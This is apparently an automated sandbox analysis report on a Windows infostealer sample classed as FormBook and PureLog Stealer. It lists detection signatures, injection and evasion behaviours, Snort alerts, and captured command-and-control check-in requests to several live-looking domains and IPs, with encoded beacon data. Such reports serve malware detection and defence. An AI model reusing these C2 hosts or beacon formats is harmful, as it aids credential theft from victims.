Windows Analysis Report
SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe

Overview

General Information

Sample name: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe
Analysis ID: 1416973
MD5: ccd8b87b97fae65f768be8e4649562a2
SHA1: 2aacb1bd79d8b732b6a072e92e6fe635da341b52
SHA256: 106f7db89f2f660262cab7c367d2174e2bc1cd1f3dffaa984ebe5ae21d2834d7
Tags: exe
Infos:

Detection

FormBook, PureLog Stealer
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Yara detected FormBook
Yara detected PureLog Stealer
.NET source code contains method to dynamically call methods (often used by packers)
.NET source code contains potential unpacker
Allocates memory in foreign processes
Found direct / indirect Syscall (likely to bypass EDR)
Injects a PE file into a foreign processes
Machine Learning detection for sample
Maps a DLL or memory area into another process
Performs DNS queries to domains with low reputation
Queues an APC in another process (thread injection)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Tries to load missing DLLs
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara signature match

Classification

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://www.pro-ecoproduct.com/e368/?fvqX7=SuW14oMrBIWiwopbsk+MLEtBSHCOaZgUesr57Wy3OWovetoPxjpHPnXLNalogi/6/sRAUB2WjNquvASuAfx5qEidc+bd9r+D5EUzSYZ4ylfLbX/4Rj9rKdPGuqyyBQVAodLQVBc=&Sp8=G2cdR0jX Avira URL Cloud: Label: malware
Source: http://www.pro-ecoproduct.com/e368/ Avira URL Cloud: Label: malware
Multi AV Scanner detection for submitted file
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Virustotal: Detection: 31% Perma Link
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe ReversingLabs: Detection: 26%
Yara detected FormBook
Source: Yara match File source: 3.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000006.00000002.4549492343.0000000005540000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.4536118705.0000000000720000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2170704940.00000000010D0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.4538159031.0000000002C40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2170261659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.4537848670.0000000002C00000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2171496231.0000000004880000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.4546816964.0000000006290000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Machine Learning detection for sample
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: firefox.pdbP source: newdev.exe, 00000005.00000003.2410876802.00000000080CB000.00000004.00000020.00020000.00000000.sdmp, newdev.exe, 00000005.00000003.2348912394.0000000007A79000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: TEDSEqbHCFz.exe, 00000004.00000000.2092267631.000000000089E000.00000002.00000001.01000000.0000000C.sdmp, TEDSEqbHCFz.exe, 00000006.00000002.4536093396.000000000089E000.00000002.00000001.01000000.0000000C.sdmp
Source: Binary string: KeTS.pdbSHA256 source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe
Source: Binary string: wntdll.pdbUGP source: RegSvcs.exe, 00000003.00000002.2170797658.00000000011B0000.00000040.00001000.00020000.00000000.sdmp, newdev.exe, 00000005.00000002.4548533441.0000000004910000.00000040.00001000.00020000.00000000.sdmp, newdev.exe, 00000005.00000003.2170521698.00000000045B9000.00000004.00000020.00020000.00000000.sdmp, newdev.exe, 00000005.00000002.4548533441.0000000004AAE000.00000040.00001000.00020000.00000000.sdmp, newdev.exe, 00000005.00000003.2172322915.0000000004760000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 00000003.00000002.2170797658.00000000011B0000.00000040.00001000.00020000.00000000.sdmp, newdev.exe, newdev.exe, 00000005.00000002.4548533441.0000000004910000.00000040.00001000.00020000.00000000.sdmp, newdev.exe, 00000005.00000003.2170521698.00000000045B9000.00000004.00000020.00020000.00000000.sdmp, newdev.exe, 00000005.00000002.4548533441.0000000004AAE000.00000040.00001000.00020000.00000000.sdmp, newdev.exe, 00000005.00000003.2172322915.0000000004760000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: NewDev.pdbGCTL source: RegSvcs.exe, 00000003.00000002.2170467317.0000000000D58000.00000004.00000020.00020000.00000000.sdmp, TEDSEqbHCFz.exe, 00000004.00000002.4540633875.00000000015D8000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: KeTS.pdb source: SecuriteInfo.com.Win32.PWSX-gen.5935.26892.exe
Source: Binary string: NewDev.pdb source: RegSvcs.exe, 00000003.00000002.2170467317.0000000000D58000.00000004.00000020.00020000.00000000.sdmp, TEDSEqbHCFz.exe, 00000004.00000002.4540633875.00000000015D8000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: firefox.pdb source: newdev.exe, 00000005.00000003.2410876802.00000000080CB000.00000004.00000020.00020000.00000000.sdmp, newdev.exe, 00000005.00000003.2348912394.0000000007A79000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Windows\SysWOW64\newdev.exe Code function: 5_2_0073CCB0 FindFirstFileW,FindNextFileW,FindClose, 5_2_0073CCB0
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\SysWOW64\newdev.exe Code function: 4x nop then pop edi 5_2_00732E50
Source: C:\Windows\SysWOW64\newdev.exe Code function: 4x nop then xor eax, eax 5_2_0072AE40
Source: C:\Windows\SysWOW64\newdev.exe Code function: 4x nop then pop edi 5_2_00732E4F
Source: C:\Windows\SysWOW64\newdev.exe Code function: 4x nop then pop edi 5_2_00732E34
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Code function: 4x nop then mov esp, ebp 6_2_0556243E
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Code function: 4x nop then pop edi 6_2_0556266E
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Code function: 4x nop then pop edi 6_2_0556387E
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Code function: 4x nop then mov esp, ebp 6_2_05562517
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Code function: 4x nop then mov esp, ebp 6_2_05562437
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Code function: 4x nop then pop edi 6_2_055634A7
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Code function: 4x nop then pop edi 6_2_055634AE
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Code function: 4x nop then pop edi 6_2_055637C5
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Code function: 4x nop then pop edi 6_2_055716BE
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Code function: 4x nop then pop edi 6_2_055716BD
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Code function: 4x nop then xor eax, eax 6_2_055696AE

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:49712 -> 212.227.172.253:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:49713 -> 103.197.25.241:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:49715 -> 103.197.25.241:80
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:49717 -> 103.197.25.241:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:49718 -> 18.139.62.226:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:49719 -> 18.139.62.226:80
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:49721 -> 18.139.62.226:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:49722 -> 47.238.180.222:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:49723 -> 47.238.180.222:80
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:49725 -> 47.238.180.222:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:49726 -> 87.236.19.107:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:49727 -> 87.236.19.107:80
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:49729 -> 87.236.19.107:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:49730 -> 43.249.78.89:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:49731 -> 43.249.78.89:80
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:49733 -> 43.249.78.89:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:49734 -> 203.161.49.220:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:49735 -> 203.161.49.220:80
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:49737 -> 203.161.49.220:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:49738 -> 198.54.126.45:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:49739 -> 198.54.126.45:80
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:49741 -> 198.54.126.45:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:49742 -> 172.67.156.246:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:49743 -> 172.67.156.246:80
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:49745 -> 172.67.156.246:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:49746 -> 185.123.204.78:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:49747 -> 185.123.204.78:80
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:49749 -> 185.123.204.78:80
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:49750 -> 212.227.172.253:80
Performs DNS queries to domains with low reputation
Source: DNS query: www.vertilehub.xyz
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 87.236.19.107 87.236.19.107
Source: Joe Sandbox View IP Address: 198.54.126.45 198.54.126.45
Source: Joe Sandbox View IP Address: 103.197.25.241 103.197.25.241
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: BEGET-ASRU BEGET-ASRU
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS
Source: Joe Sandbox View ASN Name: CLOUDIE-AS-APCloudieLimitedHK CLOUDIE-AS-APCloudieLimitedHK
Source: Joe Sandbox View ASN Name: AMAZON-02US AMAZON-02US
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: C:\Program Files (x86)\ZdaPUhlzBlXbWOwBxOnWpBGfYGMYcyBBWJfcIoTArBuWqqgNCw\TEDSEqbHCFz.exe Code function: 6_2_0556387E getaddrinfo,setsockopt,recv,recv, 6_2_0556387E
Source: global traffic HTTP traffic detected: GET /e368/?Sp8=G2cdR0jX&fvqX7=wn3MJKjdQG1FkzNk7nSQLeBmNgZKITo5jH0P6Kf/gPQiWAQ/siHYNsRCVQHGwoPPrkEtTkiUIBx/C8u5y+Dfe81LcthZQcY0vpsbTukMF6Nfvl8sYM7MTVuzSxLNfxtVh8jnAEI= HTTP/1.1Host: www.tygavpn.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Source: global traffic HTTP traffic detected: GET /e368/?fvqX7=MPU+kkSLVmNlE6BiFT4mStbCjEKUAEZIJueR/SB7iQamDznHT5GXcmHCl6vfHo2zl4dcbern6KprCOm8xLfDV471oWxjGpEdYgUbDiCmKDy3vqqr9NO4qUH6kySzQ7KEuST0zmo=&Sp8=G2cdR0jX HTTP/1.1Host: www.dxgsf.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Source: global traffic HTTP traffic detected: GET /e368/?fvqX7=20kN1moJCTooD9mJcf5MvFcw3nT58gvL5lbbntzpVKEH5Sl3IH4Irl/5c421e5jy/hK+67sXSRWRnwaJyMQtNf0pPmwlO+kVNV7IUnytvE1VsXTemTA4l587dAzl30kN4zZ+q08=&Sp8=G2cdR0jX HTTP/1.1Host: www.hisako.storeAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Source: global traffic HTTP traffic detected: GET /e368/?Sp8=G2cdR0jX&fvqX7=RsYuaOawKy9vS81D7CKVJnGoeaAllKIKhr9XJJ/S+mJuCvSw92sWp5j4s1XOQelKVLakNLLG7iqri0hQnwBJ2AhSCsxB62zvpcqqBaohDQsMOt1/2IbRVMY61ZaJ20eZbYZMa20= HTTP/1.1Host: www.d4ffo73dz.sbsAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Source: global traffic HTTP traffic detected: GET /e368/?fvqX7=SuW14oMrBIWiwopbsk+MLEtBSHCOaZgUesr57Wy3OWovetoPxjpHPnXLNalogi/6/sRAUB2WjNquvASuAfx5qEidc+bd9r+D5EUzSYZ4ylfLbX/4Rj9rKdPGuqyyBQVAodLQVBc=&Sp8=G2cdR0jX HTTP/1.1Host: www.pro-ecoproduct.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Source: global traffic HTTP traffic detected: GET /e368/?Sp8=G2cdR0jX&fvqX7=MQdyyEC6m5kVGj7p7Va1tZ90zxFuJQszXvv65samv4yx5CBA6mKKM7MxcgmOYHNx3gSE4cdf4z30LTYhNXlRaqeT16yhr/81xHuAnllTUmwocXaCHhNxZIzL5WnQ7t4ave6LxF0= HTTP/1.1Host: www.tianrui8.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Source: global traffic HTTP traffic detected: GET /e368/?fvqX7=rSe+HMCwXrjVe+ZzMEJlkoqxGqWutH10wJTe2ACC0gzkMhLDbvLCPZO2odIDfWg9zJlRpsb7rrPXsATRNKt3DejmWCn5u1P75cTg/F/idUcCE28LwwNnSuqg7jWOTZmIx/igRYs=&Sp8=G2cdR0jX HTTP/1.1Host: www.vertilehub.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Source: global traffic HTTP traffic detected: GET /e368/?Sp8=G2cdR0jX&fvqX7=eR4rPiW2MNE2/ANOqx7lq75qsL2/c7XOn0/ULjEZza3RAkLfBDjJaNgrdsyyjd0H7UOFm/tTzmyUZ5aJH0SqycUkZ8C5ySDTDL3wN5dIZIUkVb/vVReVmWCiNrxOVbhWeXeXR8c= HTTP/1.1Host: www.hoolgroup.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Source: global traffic HTTP traffic detected: GET /e368/?fvqX7=PJg6uLytHSnHUgCyhCZrvk2KQod7huDSWNdMIp6u1jpk3Zp5nvPD9JtaHQdgEHTZ413qx2Ljg1KQ/BTmwec2J9ZX7DKTO5W5GEYcITXzgggUhen9dz/ya+56FR1bFBNTIrch78k=&Sp8=G2cdR0jX HTTP/1.1Host: www.hentai778899.icuAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Source: global traffic HTTP traffic detected: GET /e368/?fvqX7=s/z+67gP/RYKJPPLVZ/HIqPFHZ+jgTwgRT1ec80e1OHXjJVMbb2mdn1iH/lwoW7yk2QIwX89OHUDGCb21foawzSnG9D1R2TJCGmyHyAw4T59OeJKSWjVFSFiRzBxQa2XFbe7DS8=&Sp8=G2cdR0jX HTTP/1.1Host: www.grupoponiente.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Source: global traffic HTTP traffic detected: GET /e368/?Sp8=G2cdR0jX&fvqX7=wn3MJKjdQG1FkzNk7nSQLeBmNgZKITo5jH0P6Kf/gPQiWAQ/siHYNsRCVQHGwoPPrkEtTkiUIBx/C8u5y+Dfe81LcthZQcY0vpsbTukMF6Nfvl8sYM7MTVuzSxLNfxtVh8jnAEI= HTTP/1.1Host: www.tygavpn.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240
Source: newdev.exe, 00000005.00000002.4549322072.00000000062D8000.00000004.10000000.00040000.00000000.sdmp, TEDSEqbHCFz.exe, 00000006.00000002.4547868737.00000000044A8000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: <a class="elementor-icon elementor-social-icon elementor-social-icon-facebook-f elementor-repeater-item-bec645e" href="https://www.facebook.com/profile.php?id=61555627476283&#038;sk=about" target="_blank"> equals www.facebook.com (Facebook)
Source: TEDSEqbHCFz.exe, 00000006.00000002.4547868737.0000000003CCE000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: Content-Security-Policy: upgrade-insecure-requests; default-src data: 'unsafe-inline' 'unsafe-eval' https:; script-src data: 'unsafe-inline' 'unsafe-eval' https: blob: https://www.googleanalytics.com https://www.google-analytics.com https://www.googleoptimize.com https://optimize.google.com https://td.doubleclick.net https://fburl.com https://www.facebook.com https://connect.facebook.net; style-src data: 'unsafe-inline' https: https://optimize.google.com https://fonts.googleapis.com https://w.ladicdn.com https://s.ladicdn.com; img-src data: https: blob: android-webview-video-poster: https://www.google-analytics.com https://www.googletagmanager.com https://optimize.google.com https://w.ladicdn.com https://s.ladicdn.com; font-src data: https: https://fonts.gstatic.com https://w.ladicdn.com https://s.ladicdn.com; connect-src https: wss: blob:; media-src data: https: blob:; object-src https:; child-src https: data: blob:; form-action https:; frame-ancestors https://popupx.ladi.me https://*.ladi.me https://s.ladicdn.com https://g.ladicdn.com https://w.ladicdn.com https://*.ladicdn.com https://www.facebook.com https://*.facebook.com equals www.facebook.com (Facebook)
Source: unknown DNS traffic detected: queries for: www.tygavpn.com
Source: unknown HTTP traffic detected: POST /e368/ HTTP/1.1Host: www.dxgsf.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Accept-Encoding: gzip, deflate, brContent-Length: 210Cache-Control: max-age=0Connection: closeContent-Type: application/x-www-form-urlencodedOrigin: http://www.dxgsf.shopReferer: http://www.dxgsf.shop/e368/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240Data Raw: 66 76 71 58 37 3d 42 4e 38 65 6e 52 79 64 57 33 59 37 44 36 52 48 49 6a 30 71 54 75 66 62 70 43 36 61 4a 30 4e 41 4b 70 4c 6b 7a 67 68 55 6f 6d 79 58 64 53 75 2f 58 49 36 79 47 44 37 69 38 61 53 64 57 72 4f 49 38 59 35 63 62 39 6e 49 6b 70 5a 76 4a 71 6d 35 30 62 37 33 54 66 50 47 6c 54 55 61 47 76 30 68 55 7a 67 36 47 6d 6a 4f 64 6c 69 2f 6c 64 2f 4b 34 2f 57 74 38 30 53 35 6b 44 61 30 52 71 79 4b 6a 55 4f 33 30 6a 46 41 52 6a 64 58 73 46 4e 6a 48 6f 36 2f 71 76 56 4f 55 55 74 53 70 6e 51 46 53 31 44 64 6e 2b 43 2b 37 49 36 74 67 34 33 72 76 77 62 67 61 50 73 67 46 32 4c 59 67 56 31 61 4e 58 4b 41 4e 43 5a 32 58 2f 4d 61 Data Ascii: fvqX7=BN8enRydW3Y7D6RHIj0qTufbpC6aJ0NAKpLkzghUomyXdSu/XI6yGD7i8aSdWrOI8Y5cb9nIkpZvJqm50b73TfPGlTUaGv0hUzg6GmjOdli/ld/K4/Wt80S5kDa0RqyKjUO30jFARjdXsFNjHo6/qvVOUUtSpnQFS1Ddn+C+7I6tg43rvwbgaPsgF2LYgV1aNXKANCZ2X/Ma
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 28 Mar 2024 10:29:51 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 